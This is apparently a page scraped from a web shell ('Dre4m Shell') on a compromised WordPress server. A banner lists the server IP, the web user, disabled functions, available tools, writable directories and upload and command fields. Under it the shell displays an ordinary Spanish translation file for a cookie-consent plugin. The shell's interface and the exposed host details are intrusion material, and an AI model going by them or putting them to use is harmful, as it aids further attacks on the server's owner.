Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.23.101.75
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/var/www/wordpress/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/var/www/wordpress/wp-content/languages/plugins/cookie-notice-es_ES.po
# Translation of Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release) in Spanish (Spain)
# This file is distributed under the same license as the Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2024-07-01 11:51:45+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: es\n"
"Project-Id-Version: Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release)\n"

#: includes/welcome-api.php:1195
msgid "\"AppID\" is not allowed to be empty."
msgstr "No se permite que \"AppID\" esté vacío."

#: includes/settings.php:2180
msgid "-- no public terms --"
msgstr "-- no hay términos públicos --"

#: includes/settings.php:949
msgid "Enable to activate bot detection and reduce the number of calculated website visits."
msgstr "Activa la detección de bots y reduce el número de visitas calculadas al sitio web."

#: includes/settings.php:657
msgid "Bot Detection"
msgstr "Detección de bots"

#: includes/settings.php:656
msgid "Conditional Display"
msgstr "Visualización condicional"

#: includes/settings.php:646
msgid "Compliance Status"
msgstr "Estado de cumplimiento"

#: includes/settings.php:129
msgid "Taxonomy Archive"
msgstr "Archivo de taxonomía"

#: includes/consent-logs.php:121
msgid "Ad Personalization"
msgstr "Personalización de anuncios"

#: includes/consent-logs.php:118
msgid "Site Optimization"
msgstr "Optimización del sitio"

#: includes/consent-logs.php:115
msgid "Content Personalization"
msgstr "Personalización de contenido"

#: includes/consent-logs.php:112
msgid "Basic Operations"
msgstr "Operaciones básicas"

#: includes/consent-logs.php:93
msgid "IP address"
msgstr "Dirección IP"

#: includes/consent-logs-list-table.php:26
msgid "Note: domains using Cookie Compliance limited, Basic plan allow you to view consent records from the last 7 days and store data only for 30 days."
msgstr "Nota: los dominios que utilizan Cookie Compliance limitado, el plan Básico te permite ver los registros de consentimiento de los últimos 7 días y almacenar datos solo durante 30 días."

#: includes/consent-logs-list-table.php:22
msgid "The table below shows the consent records from your website accumulated from the last thirty days. You can view individual records by expanding a single row of data."
msgstr "La siguiente tabla muestra los registros de consentimiento de tu sitio web acumulados en los últimos treinta días. Puedes ver registros individuales expandiendo una sola fila de datos."

#: cookie-notice.php:840
msgid "Dismiss"
msgstr "Descartar"

#: cookie-notice.php:840
msgid "Delay"
msgstr "Retraso"

#: cookie-notice.php:840
msgid "Review"
msgstr "Reseña"

#: cookie-notice.php:840
msgid "Thank you for helping us improve and grow!"
msgstr "¡Gracias por ayudarnos a mejorar y crecer!"

#: cookie-notice.php:840
msgid "Hi, you've been using <strong>Cookie Notice & Compliance for GDPR / CCPA</strong> for more than %s. We hope it has been a valuable addition to your WordPress site. We would be grateful if you could take a few minutes to share your thoughts by leaving a review."
msgstr "Hola, llevas más de %s utilizando <strong>Cookie Notice & Compliance for GDPR / CCPA</strong>. Esperamos que haya sido un valioso complemento para tu sitio de WordPress. Te agradeceríamos que dedicaras unos minutos a compartir tu opinión dejando una reseña."

#: cookie-notice.php:840
msgid "We Value Your Feedback"
msgstr "Valoramos tu opinión"

#: cookie-notice.php:779
msgid "Upgrade to Pro and make sure your site is compatible with it with."
msgstr "Actualiza a Pro y asegúrate de que tu sitio es compatible con él."

#: cookie-notice.php:777
msgid "Click \"Run Compliance Check\" to proceed and test other compliance features."
msgstr "Haz clic en «Ejecutar comprobación de cumplimiento» para continuar y probar otras funciones de cumplimiento."

#: cookie-notice.php:777 cookie-notice.php:779
msgid "Cookie Compliance integration with Google Consent Mode ensures that your Google Analytics and other services you use through Google Tag Manager tags respond dynamically to user consent status. <b>It requires no technical expertise to set up.</b> When users choose their preferences, Cookie Compliance automatically signals this information to Google services so that cookies are set only if consent is given for each type of data processing."
msgstr "La integración de Cookie Compliance con el Modo de Consentimiento de Google garantiza que las etiquetas de Google Analytics y otros servicios que utilices a través de Google Tag Manager respondan dinámicamente al estado de consentimiento del usuario. <b>No requiere conocimientos técnicos para su configuración.</b> Cuando los usuarios eligen sus preferencias, Cookie Compliance envía automáticamente esta información a los servicios de Google para que las cookies solo se instalen si se da el consentimiento para cada tipo de tratamiento de datos."

#: cookie-notice.php:777 cookie-notice.php:779
msgid "Automatic Google Consent Mode support in Cookie Compliance"
msgstr "Compatibilidad automática con el Modo de Consentimiento de Google en Cookie Compliance"

#: includes/settings.php:653
msgid "Scripts"
msgstr "Scripts"

#: includes/settings.php:645 includes/settings.php:664
msgid "Compliance Integration"
msgstr "Integración con consentimiento"

#: includes/modules/amp/amp.php:161
msgid "Cookie Compliance AMP Consent"
msgstr "Consentimiento AMP de Cookie Compliance"

#: includes/consent-logs.php:192
msgid "We were unable to download consent logs due to an error. Please try again later."
msgstr "No hemos podido descargar los registros de consentimiento debido a un error. Vuelve a intentarlo más tarde."

#: includes/consent-logs.php:153
msgid "Level %d"
msgstr "Nivel %d"

#: includes/consent-logs.php:139
msgid "2 years"
msgstr "2 años"

#: includes/consent-logs.php:92
msgid "Time"
msgstr "Tiempo"

#: includes/consent-logs.php:91
msgid "Duration"
msgstr "Duración"

#: includes/consent-logs.php:90
msgid "Categories"
msgstr "Categorías"

#: includes/consent-logs.php:89
msgid "Consent Level"
msgstr "Nivel de consentimiento"

#: includes/consent-logs.php:88
msgid "Consent ID"
msgstr "ID de consentimiento"

#: includes/consent-logs-list-table.php:248 includes/consent-logs.php:102
msgid "No consent logs found."
msgstr "No se han encontrado registros de consentimiento."

#: includes/consent-logs-list-table.php:154
msgid "Total"
msgstr "Total"

#: includes/consent-logs-list-table.php:153
msgid "Level 3"
msgstr "Nivel 3"

#: includes/consent-logs-list-table.php:152
msgid "Level 2"
msgstr "Nivel 2"

#: includes/consent-logs-list-table.php:151
msgid "Level 1"
msgstr "Nivel 1"

#: includes/consent-logs-list-table.php:150
msgid "Date"
msgstr "Fecha"

#: includes/settings.php:937
msgid "Allows you to activate consent banner support for Google AMP."
msgstr "Te permite activar la compatibilidad del banner de consentimiento con Google AMP."

#: includes/settings.php:937
msgid "No compatible Google AMP plugins found."
msgstr "No se han encontrado plugins compatibles con Google AMP."

#: includes/settings.php:936
msgid "Enable to support AMP."
msgstr "Activar para soportar AMP."

#: includes/settings.php:658
msgid "AMP Support"
msgstr "Compatibilidad AMP"

#: includes/settings.php:559
msgid "Does the Cookie Notice make my site fully compliant with GDPR/CCPA and other privacy regulations?"
msgstr "¿El Aviso sobre Cookies hace que mi sitio cumpla plenamente con el GDPR/CCPA y otras normativas sobre privacidad?"

#: includes/settings.php:411
msgid "Monitor consent activity directly in your WordPress dashboard."
msgstr "Supervisa la actividad de consentimiento directamente en tu panel de WordPress."

#: includes/settings.php:410
msgid "Automatically store a record of each consent."
msgstr "Almacena automáticamente un registro de cada consentimiento."

#: includes/settings.php:409
msgid "Record and view Consent Log entries inside WordPress"
msgstr "Registrar y ver las entradas del Registro de Consentimiento dentro de WordPress"

#: includes/settings.php:290
msgid "Cookie Notice - Consent Logs"
msgstr "Aviso de cookies - Registros de consentimiento"

#: includes/settings.php:982
msgid "Enable to apply changes improving compatibility with caching plugins."
msgstr "Activar para aplicar cambios mejorando la compatibilidad con plugins de caché."

#: includes/settings.php:978
msgid "No compatible cache plugins found."
msgstr "Se han encontrado plugins de caché no compatibles."

#: includes/settings.php:970
msgid "Currently detected active caching plugins"
msgstr "Se han detectado plugins de caché activos en este momento"

#: includes/settings.php:654
msgid "Caching Compatibility"
msgstr "Compatibilidad con caché"

#: includes/settings.php:765
msgid "Log into the Cookie Compliance&trade; web application to configure the appearance and functionality of the banner."
msgstr "Accede a la aplicación web de Cookie Compliance&trade; para configurar la apariencia y funcionalidad del banner."

#: includes/settings.php:521 includes/welcome.php:318 includes/welcome.php:349
msgid "%sGoogle & Facebook%s consent modes"
msgstr "Modos de consentimiento de %sGoogle y Facebook%s"

#: includes/settings.php:517 includes/welcome.php:314 includes/welcome.php:345
msgid "GDPR, CCPA, LGPD, PECR requirements"
msgstr "Requisitos de RGPD, CCPA, LGPD, PECR"

#: includes/settings.php:2294
msgid "Untitled Page %d"
msgstr "Página sin título %d"

#: includes/settings.php:125
msgid "Page"
msgstr "Página"

#: includes/welcome.php:591 includes/welcome.php:689
msgid "%sProfessional%s"
msgstr "%sProfesional%s"

#: includes/welcome.php:559
msgid "I have read and agree to the %sTerms of Service%s"
msgstr "He leído y acepto las %scondiciones del servicio%s"

#: includes/welcome.php:321
msgid "%sBasic%s Support"
msgstr "Soporte %sbásico%s"

#: includes/welcome.php:320
msgid "%s1 additional%s language"
msgstr "%s1 idioma adicional%s"

#: includes/welcome.php:317
msgid "%s30 days%s consent storage"
msgstr "Almacenamiento de consentimientos %sdurante 30 días%s"

#: includes/welcome.php:316
msgid "%s1,000%s visits / month"
msgstr "%s1.000%s visitas / mes"

#: includes/welcome.php:136
msgid "%sCompliance Failed!%sYour website does not achieve minimum viable compliance. %sSign up to Cookie Compliance%s to bring your site into compliance with the latest data privacy rules and regulations."
msgstr "%s¡Cumplimiento fallido!%s Tu web no cumple con el cumplimiento mínimo viable. %sRegístrate en Cookie Compliance%s para que tu web cumpla con las últimas normas y regulaciones sobre privacidad de datos."

#: includes/welcome-api.php:313
msgid "The password contains illegal characters or does not meet the conditions."
msgstr "La contraseña contiene caracteres ilegales o no cumple las condiciones."

#: includes/settings.php:2321
msgid "Guest"
msgstr "Invitado"

#: includes/settings.php:2320
msgid "Logged in"
msgstr "Conectado"

#: includes/settings.php:2309
msgid "Home Page"
msgstr "Página de inicio"

#: includes/settings.php:2308
msgid "Front Page"
msgstr "Página principal"

#: includes/settings.php:2161
msgid "-- no public archives --"
msgstr "-- no hay archivos públicos --"

#: includes/settings.php:2055
msgid "Create a set of rules to define the exact conditions for displaying or hiding the banner."
msgstr "Crea un conjunto de reglas para definir las condiciones exactas para mostrar u ocultar el banner."

#: includes/settings.php:2054
msgid "+ Add rule"
msgstr "+ Añadir regla"

#: includes/settings.php:1987
msgid "or"
msgstr "o"

#: includes/settings.php:886
msgid "Determine what should happen when the following conditions are met."
msgstr "Determina que debe ocurrir cuando se cumplen las siguientes condiciones."

#: includes/settings.php:874
msgid "Enable conditional display of the banner."
msgstr "Activar la visualización condicional del banner."

#: includes/settings.php:798
msgid "Sign up to %s and add GDPR, CCPA and other international data privacy laws compliance features."
msgstr "Regístrate en %s y añade características de cumplimiento de RGPD, CCPA y otras leyes internacionales de privacidad de datos."

#: includes/settings.php:682
msgid "Conditional display"
msgstr "Visualización condicional"

#: includes/settings.php:539
msgid "Protect your business"
msgstr "Protege tu empresa"

#: includes/settings.php:524 includes/welcome.php:352
msgid "%sPriority%s Support"
msgstr "Soporte %sprioritario%s"

#: includes/settings.php:523 includes/welcome.php:351
msgid "%sUnlimited%s languages"
msgstr "Idiomas %silimitados%s"

#: includes/settings.php:522 includes/welcome.php:319 includes/welcome.php:350
msgid "%sGeolocation%s support"
msgstr "Soporte de %sgeolocalización%s"

#: includes/settings.php:520 includes/welcome.php:348
msgid "%sLifetime%s consent storage"
msgstr "Almacenamiento de consentimientos %sde por vida%s"

#: includes/settings.php:519 includes/welcome.php:347
msgid "%sUnlimited%s visits"
msgstr "Visitas %silimitadas%s"

#: includes/settings.php:139
msgid "Show the banner"
msgstr "Mostrar el banner"

#: includes/settings.php:138
msgid "Hide the banner"
msgstr "Ocultar el banner"

#: includes/settings.php:134
msgid "is not equal to"
msgstr "no es igual a"

#: includes/settings.php:133
msgid "is equal to"
msgstr "es igual a"

#: includes/settings.php:128
msgid "User Type"
msgstr "Tipo de usuario"

#: includes/settings.php:127
msgid "Post Type Archive"
msgstr "Archivo del tipo de contenido"

#: includes/settings.php:126
msgid "Post Type"
msgstr "Tipo de contenido"

#: includes/settings.php:124
msgid "Page Type"
msgstr "Tipo de página"

#: includes/settings.php:844
msgid "This option has been temporarily disabled because your website has reached the usage limit for the Cookie Compliance Basic plan. It will become available again when the current visits cycle resets or you upgrade your website to a Professional plan."
msgstr "Esta opción se ha desactivado temporalmente porque su sitio web ha alcanzado el límite de uso del plan Básico de Cookie Compliance Basic. Volverá a estar disponible cuando se restablezca el ciclo de visitas actual o cuando actualices tu sitio web a un plan Profesional."

#: includes/welcome.php:380
msgid "You have successfully signed up to a limited, Basic plan."
msgstr "Te has registrado correctamente a un plan limitado básico."

#: includes/welcome.php:380
msgid "You have successfully signed up to a Professional plan."
msgstr "Te has registrado correctamente a un plan profesional."

#: includes/welcome.php:355
msgid "Start Professional"
msgstr "Empezar a utilizar el profesional"

#: includes/settings.php:542
msgid "Deliver better consent experiences and comply with GDPR, CCPA and other data privacy laws more effectively."
msgstr "Ofrece mejores experiencias de consentimiento y cumple con RGPD, CCPA y otras leyes de privacidad de datos de manera más efectiva."

#: cookie-notice.php:779 includes/settings.php:530
msgid "Upgrade to Pro"
msgstr "Actualiza a la versión Pro"

#: includes/settings.php:513
msgid "Your Cookie Compliance plan:"
msgstr "Tu plan de Cookie Compliance:"

#. Plugin URI of the plugin
#: cookie-notice.php
msgid "https://cookie-compliance.co/"
msgstr "https://cookie-compliance.co/"

#: includes/settings.php:544
msgid "Cookie Compliance dashboard"
msgstr "Escritorio de cumplimiento de cookies"

#: includes/settings.php:736
msgid "Global network settings override is active. Every site will use the same network settings. Please contact super administrator if you want to have more control over the settings."
msgstr "La omisión de los ajustes globales de la red está activa. Todos los sitios usarán los mismos ajustes de red. Por favor, contacta con el super administrador si quieres tener más control sobre los ajustes."

#: includes/settings.php:725
msgid "Cookie consent in one of the network sites results in a consent in all of the sites on the network."
msgstr "El consentimiento de cookies en uno de los sitios de la red supone el consentimiento en todos los sitios de la red. "

#: includes/settings.php:724
msgid "Enable global network cookie consent."
msgstr "Activar el consentimiento de cookies global para la red."

#: includes/settings.php:718
msgid "This option works only for domain-based networks."
msgstr "Esta opción funciona solo en redes basados en dominios."

#: includes/settings.php:704
msgid "Every site in the network will use the same settings. Site administrators will not be able to change them."
msgstr "Todos los sitios de la red usarán los mismos ajustes. Los administradores de sitios no podrán cambiarlos."

#: includes/settings.php:703
msgid "Enable global network settings override."
msgstr "Activar la omisión de los ajustes globales de la red."

#: includes/settings.php:613
msgid "Global Cookie"
msgstr "Cookie global"

#: includes/settings.php:612
msgid "Global Settings Override"
msgstr "Omitir los ajustes globales"

#: includes/settings.php:611 includes/settings.php:616
msgid "Network Settings"
msgstr "Ajustes de la red"

#: cookie-notice.php:816
msgid "Cookie Compliance Warning"
msgstr "Advertencia de cumplimiento de cookies"

#: includes/settings.php:922
msgid "Enable to run the consent banner in debug mode."
msgstr "Actívalo para ejecutar el banner de consentimiento en el modo de depuración."

#: includes/settings.php:659
msgid "Debug Mode"
msgstr "Modo de depuración"

#: includes/dashboard.php:514
msgid "Run Compliance Check to determine your site's compliance with updated data processing and consent rules under GDPR, CCPA and other international data privacy laws."
msgstr "Ejecuta la comprobación de cumplimiento para determinar el cumplimiento de tu web con las normas actualizadas de procesamiento de datos y consentimiento según el RGPD, la CCPA y otras leyes internacionales de privacidad de datos."

#: includes/dashboard.php:512
msgid "Your site does not have Cookie Compliance"
msgstr "Tu sitio no tiene Cookie Compliance"

#: cookie-notice.php:816
msgid "To reactivate compliance services now, <a href=\"%s\" target=\"_blank\">upgrade your domain to a Pro plan.</a>"
msgstr "Para reactivar los servicios de cumplimiento ahora, <a href=\"%s\" target=\"_blank\">actualiza tu dominio a un plan Pro</a>."

#: cookie-notice.php:816
msgid "Your website has reached the <b>%1$s visits usage limit for the Cookie Compliance Basic Plan</b>. Compliance services such as Consent Record Storage, Autoblocking, and Consent Analytics have been deactivated until current usage cycle ends on %2$s."
msgstr "Tu web ha alcanzado el <b>límite de uso de %1$s visitas para el plan básico de Cookie Compliance</b>. Los servicios de cumplimiento, como el almacenamiento de los registros de consentimiento, el bloqueo automático y el análisis de consentimiento, han sido desactivados hasta que finalice el ciclo de uso actual el %2$s."

#: includes/welcome.php:732
msgid "Licenses"
msgstr "Licencias"

#: includes/welcome.php:731
msgid "Select subscription"
msgstr "Seleccionar una suscripción"

#: includes/welcome.php:691
msgid "Use License"
msgstr "Usar licencia"

#: includes/welcome.php:337 includes/welcome.php:338 includes/welcome.php:339
#: includes/welcome.php:340
msgid "%s domain license"
msgid_plural "%s domains license"
msgstr[0] "Licencia de %s dominio"
msgstr[1] "Licencia de %s dominios"

#: includes/welcome.php:336
msgid "Pricing options"
msgstr "Opciones de precios"

#: includes/welcome.php:334
msgid "Recommended"
msgstr "Recomendado"

#: includes/settings.php:514 includes/welcome.php:332
msgid "Professional"
msgstr "Profesional"

#: includes/welcome.php:324
msgid "Start Basic"
msgstr "Iniciar básico"

#: includes/welcome.php:302
msgid "Save 12%"
msgstr "Ahorra el 12%"

#: includes/welcome.php:302
msgid "Yearly"
msgstr "Anual"

#: includes/welcome.php:299
msgid "Monthly"
msgstr "Mensual"

#: includes/welcome.php:138 includes/welcome.php:691
msgid "available"
msgstr "disponible"

#: includes/welcome.php:132
msgid "yearly"
msgstr "anual"

#: includes/welcome.php:131 includes/welcome.php:333 includes/welcome.php:591
#: includes/welcome.php:689
msgid "monthly"
msgstr "mensual"

#: includes/welcome-api.php:232
msgid "No payment method token."
msgstr "No se ha encontrado ningún token de método de pago."

#: includes/welcome-api.php:226
msgid "Unable to create payment mehotd."
msgstr "No se ha podido crear un método de pago."

#: includes/settings.php:575
msgid "You can learn more about the features and pricing by visiting the Cookie Compliance website here:"
msgstr "Puedes saber más sobre las características y precios visitando la web de Cookie Compliance:"

#: includes/settings.php:574
msgid "Where can I find pricing options?"
msgstr "¿Dónde puedo encontrar más opciones de precios?"

#: includes/settings.php:545
msgid "Learn more"
msgstr "Saber más"

#: includes/dashboard.php:155
msgctxt "threshold limit"
msgid "Free"
msgstr "Gratuito"

#: includes/dashboard.php:154
msgctxt "threshold limit"
msgid "Used"
msgstr "Usado"

#: includes/settings.php:570
msgid "Yes, but with limits. Cookie Compliance includes both free and paid plans to choose from depending on your needs and your website monthly traffic."
msgstr "Sí, pero con límites. Cookie Compliance incluye planes gratuitos y de pago entre los que elegir dependiendo de tus necesidades y del tráfico mensual de tu web."

#: includes/settings.php:569
msgid "Is Cookie Compliance free?"
msgstr "¿Es gratis Cookie Compliance?"

#: includes/settings.php:565
msgid "Yes! The plugin + web application version includes technical compliance features to meet requirements for over 100 countries and legal jurisdictions."
msgstr "¡Sí! El plugin con la versión de aplicación web incluye características de cumplimiento técnico para reunir los requisitos de más de 100 países y jurisdicciones legales."

#: includes/settings.php:564
msgid "Does the Cookie Compliance integration make my site fully compliant with GDPR/CCPA?"
msgstr "¿La integración de Cookie Compliance hace que mi sitio cumpla totalmente con el RGPD/CCPA?"

#: includes/settings.php:560
msgid "It is not possible to provide the required technical compliance features using only a WordPress plugin. Features like consent record storage, purpose categories and script blocking that bring your site into full compliance with privacy regulations are only available through the Cookie Compliance integration."
msgstr "No es posible ofrecer las características de cumplimiento técnico obligatorias utilizando solo un plugin WordPress. Características como el almacenamiento de registros de consentimiento, categorías específicas y bloqueo de scripts que hacen que tu sitio cumpla totalmente con el RGPD solo están disponibles mediante la integración con Cookie Compliance."

#: includes/settings.php:555
msgid "F.A.Q."
msgstr "F.A.Q."

#: includes/dashboard.php:454
msgid "Days to go: %s"
msgstr "Días que quedan: %s"

#: includes/dashboard.php:453
msgid "Cycle started: %s"
msgstr "El ciclo se inició: %s"

#: includes/dashboard.php:452
msgid "Visits usage: %1$s / %2$s"
msgstr "Uso de las visitas: %1$s / %2$s"

#: includes/dashboard.php:449
msgid "Traffic Usage"
msgstr "Uso del tráfico"

#: includes/dashboard.php:432
msgid "Updated %s"
msgstr "Actualizado %s"

#: includes/dashboard.php:430 includes/settings.php:290
#: includes/settings.php:333 includes/settings.php:604
msgid "Consent Logs"
msgstr "Registros de consentimiento"

#: includes/dashboard.php:427
msgid "Last 30 days"
msgstr "Últimos 30 días"

#: includes/dashboard.php:425
msgid "Total Visits"
msgstr "Visitas totales"

#: includes/dashboard.php:323 includes/settings.php:412
msgid "Upgrade to Cookie Compliance"
msgstr "Actualiza a Cookie Compliance"

#: includes/dashboard.php:322
msgid "Enable consent purpose categories, automatic cookie blocking and more."
msgstr "Activa categorías de consentimiento, bloqueo automático de cookies y más."

#: includes/dashboard.php:321
msgid "Get Consent logs data for the last 30 days."
msgstr "Obtén datos de registro de consentimientos de los últimos 30 días."

#: includes/dashboard.php:320
msgid "Display information about the visits."
msgstr "Muestra información de las visitas."

#: includes/dashboard.php:319
msgid "View consent activity inside WordPress Dashboard"
msgstr "Ve la actividad de consentimientos dentro del escritorio de WordPress"

#: includes/dashboard.php:299
msgid "Displays the chart of the domain consent activity in the last 30 days."
msgstr "Muestra el gráfico de la actividad de consentimientos del dominio de los últimos 30 días."

#: includes/dashboard.php:298
msgid "Consent Activity"
msgstr "Actividad de consentimientos"

#: includes/dashboard.php:294
msgid "Displays the general visits information for your domain."
msgstr "Muestra la información general de las visitas de tu dominio."

#: includes/dashboard.php:293
msgid "Traffic Overview"
msgstr "Resumen del tráfico"

#: includes/dashboard.php:184 includes/dashboard.php:196
#: includes/dashboard.php:208
msgid "Level %s"
msgstr "Nivel %s"

#: includes/dashboard.php:72
msgid "Cookie Compliance"
msgstr "Cookie Compliance"

#: includes/welcome.php:486 includes/welcome.php:514
msgid "available for Cookie Compliance&trade; Pro plans only"
msgstr "disponible solamente en los planes Pro de Cookie compliance&trade;"

#: includes/welcome.php:483
msgid "Display %sPrivacy Contact%s to provide Data Controller contact information and links to external data privacy resources."
msgstr "Mostrar el %scontacto de privacidad%s para ofrecer información de contacto del controlador de datos y enlaces a recursos de privacidad de datos externos."

#: includes/welcome.php:482
msgid "Display %sPrivacy Paper%s to provide helpful data privacy and consent information to visitors."
msgstr "Mostrar el %sdocumento de privacidad%s para ofrecer información de consentimiento y privacidad de datos útil para los visitantes."

#: includes/welcome.php:480
msgid "Select additional information to include in the banner: *"
msgstr "Selecciona la información adicional a incluir en el banner: *"

#: includes/welcome.php:476
msgid "Reject All, Accept Some, Accept All​"
msgstr "Rechazar todas, aceptar algunas, aceptar todas"

#: includes/welcome.php:475
msgid "Private, Balanced, Personalized"
msgstr "Privado, equilibrado, personalizado"

#: includes/welcome.php:474
msgid "Silver, Gold, Platinum (Default)​"
msgstr "Plata, oro, platino (por defecto)"

#: includes/welcome.php:472
msgid "Select a naming style for the consent choices"
msgstr "Selecciona un estilo de nombres para las elecciones de consentimiento"

#: includes/settings.php:233
msgid "months"
msgstr "meses"

#: includes/settings.php:228
msgid "Highest level of personalisation. Data accessed to make ads and media more relevant. Data shared with 3rd parties may be use to track you on this site and other sites you visit."
msgstr "Máximo nivel de personalización. Se accede a los datos para que los anuncios y los medios sean más relevantes. Los datos compartidos con terceros pueden utilizarse para rastrear al usuario en este sitio y en otros que visite."

#: includes/settings.php:227
msgid "Balanced experience. Data accessed for content personalisation and site optimisation. Data shared with 3rd parties may be used to track and store your preferences for this site."
msgstr "Experiencia equilibrada. Datos a los que se accede para la personalización del contenido y la optimización del sitio. Los datos compartidos con terceros pueden utilizarse para rastrear y almacenar tus preferencias en este sitio."

#: includes/settings.php:226
msgid "Highest level of privacy. Data accessed for necessary site operations only. Data shared with 3rd parties to ensure the site is secure and works on your device."
msgstr "Máximo nivel de privacidad. Sólo se accede a los datos para las operaciones necesarias del sitio. Datos compartidos con terceros para garantizar que el sitio es seguro y funciona en tu dispositivo."

#: includes/settings.php:225
msgid "Select a Data Access Level and Duration to choose how we use and share your data."
msgstr "Selecciona un nivel de acceso a datos y duración para elegir cómo usamos y compartimos tus datos."

#: includes/settings.php:224
msgid "We believe your data is your property and support your right to privacy and transparency."
msgstr "Creemos que tus datos son de tu propiedad y apoyamos tu derecho a la privacidad y la transparencia."

#: includes/settings.php:220
msgid "Save my preferences"
msgstr "Guardar mis preferencias"

#: includes/settings.php:215
msgid "Accept All"
msgstr "Aceptar todas"

#: includes/settings.php:214
msgid "Accept Some"
msgstr "Aceptar algunas"

#: includes/settings.php:213
msgid "Reject All"
msgstr "Rechazar todas"

#: includes/settings.php:210
msgid "Personalized"
msgstr "Personalizado"

#: includes/settings.php:209
msgid "Balanced"
msgstr "Equilibrado"

#: includes/settings.php:208
msgid "Private"
msgstr "Privado"

#: includes/settings.php:205
msgid "Platinum"
msgstr "Platino"

#: includes/settings.php:204
msgid "Gold"
msgstr "Oro"

#: includes/settings.php:203
msgid "Silver"
msgstr "Plata"

#: includes/settings.php:172
msgid "Button color"
msgstr "Color del botón"

#: cookie-notice.php:1342
msgid "Deactivate & Submit"
msgstr "Desactivar y enviar"

#: cookie-notice.php:1341
msgid "Deactivate"
msgstr "Desactivar"

#: cookie-notice.php:1340
msgid "Cancel"
msgstr "Cancelar"

#: cookie-notice.php:1326
msgid "Other"
msgstr "Otros"

#: cookie-notice.php:1325
msgid "Support isn't timely."
msgstr "El apoyo no es puntual."

#: cookie-notice.php:1324
msgid "The web application user interface is not clear to me."
msgstr "La interfaz de usuario de la aplicación web no está clara para mi."

#: cookie-notice.php:1323
msgid "The Cookie Compliance default settings are too strict."
msgstr "Los ajustes por defecto de Cookie Compliance son demasiado estrictos."

#: cookie-notice.php:1322
msgid "The Cookie Compliance consent choices (Silver, Gold, Platinum) are confusing."
msgstr "Las elecciones de consentimiento de Cookie Compliance (plata, oro, platino) son confusas."

#: cookie-notice.php:1321
msgid "The Cookie Compliance banner is too big."
msgstr "El banner de Cookie Compliance es demasiado grande."

#: cookie-notice.php:1320
msgid "I found another plugin to use for the same task."
msgstr "He encontrado otro plugin para usarlo para la misma tarea."

#: cookie-notice.php:1319
msgid "I couldn't figure out how to make it work."
msgstr "No he podido averiguar cómo hacer que funcione."

#: cookie-notice.php:1315
msgid "We're sorry to see you go. Could you please tell us what happened?"
msgstr "Lamentamos ver que te vas. Por favor, ¿podrías decirnos qué ha pasado?"

#: cookie-notice.php:1209
msgid "Cookie Notice & Compliance - Deactivation survey"
msgstr "Cookie Notice & Compliance - Encuesta de desactivación"

#: cookie-notice.php:777 cookie-notice.php:779
msgid "Dismiss Notice"
msgstr "Descartar aviso"

#: cookie-notice.php:777 includes/dashboard.php:515
msgid "Run Compliance Check"
msgstr "Ejecuta la comprobación de cumplimiento"

#: includes/welcome.php:648
msgid "Sign in to your existing Cookie Compliance&trade; account and select your preferred plan."
msgstr "Accede a tu cuenta existente de Cookie Compliance&trade; y selecciona tu plan favorito."

#: includes/welcome.php:621 includes/welcome.php:722
msgid "Submit"
msgstr "Enviar"

#: includes/welcome.php:595 includes/welcome.php:696 includes/welcome.php:735
msgid "Confirm"
msgstr "Confirmar"

#: includes/welcome.php:539
msgid "Create a Cookie Compliance&trade; account and select your preferred plan."
msgstr "Crea una cuenta en Cookie Compliance&trade; y selecciona tu plan favorito."

#: includes/welcome.php:519
msgid "Apply Setup"
msgstr "Aplicar configuración"

#: includes/welcome.php:440
msgid "Configure your Cookie Notice & Compliance design and compliance features through the options below. Click Apply Setup to save the configuration and go to selecting your preferred cookie solution."
msgstr "Configura tu diseño y características de cumplimiento de Cookie Notice & Compliance desde las siguientes opciones. Haz clic en «Aplicar configuración» para guardar la configuración y ve a seleccionar tu solución de cookies favorita."

#: includes/welcome.php:439
msgid "Live Setup"
msgstr "Configuración en directo"

#: includes/welcome.php:423
msgid "Proof-of-consent stored in secure audit format."
msgstr "Prueba de consentimiento almacenada en un formato de auditoría seguro."

#: includes/welcome.php:422
msgid "Separate consent requested per purpose of use."
msgstr "Se solicita el consentimiento por separado para cada propósito de uso."

#: includes/welcome.php:421
msgid "Non-essential cookies blocked until consent is registered."
msgstr "Las cookies no esenciales se bloquean hasta que se registre el consentimiento."

#: includes/welcome.php:420
msgid "Notifies visitors that site uses cookies."
msgstr "Avisa a los visitantes que el sitio usa cookies."

#: includes/welcome.php:417
msgid "Checking..."
msgstr "Comprobando..."

#: includes/welcome.php:411
msgid "This is a Compliance Check to determine your site’s compliance with updated data processing and consent rules under GDPR, CCPA and other international data privacy laws."
msgstr "Esta es una comprobación de cumplimiento para determinar el cumplimiento de tu sitio con el procesamiento de datos actualizados y las reglas de consentimiento de RGPD, CCPA y otras leyes internacionales de privacidad de datos."

#: includes/welcome.php:410
msgid "Compliance check"
msgstr "Comprobación de cumplimiento"

#: includes/welcome.php:379
msgid "Congratulations"
msgstr "Enhorabuena"

#: includes/welcome.php:361
msgid "I don’t want to create an account now"
msgstr "No quiero crear una cuenta ahora"

#: includes/settings.php:232
msgid "month"
msgstr "mes"

#: includes/welcome.php:584 includes/welcome.php:682
msgid "Select Plan"
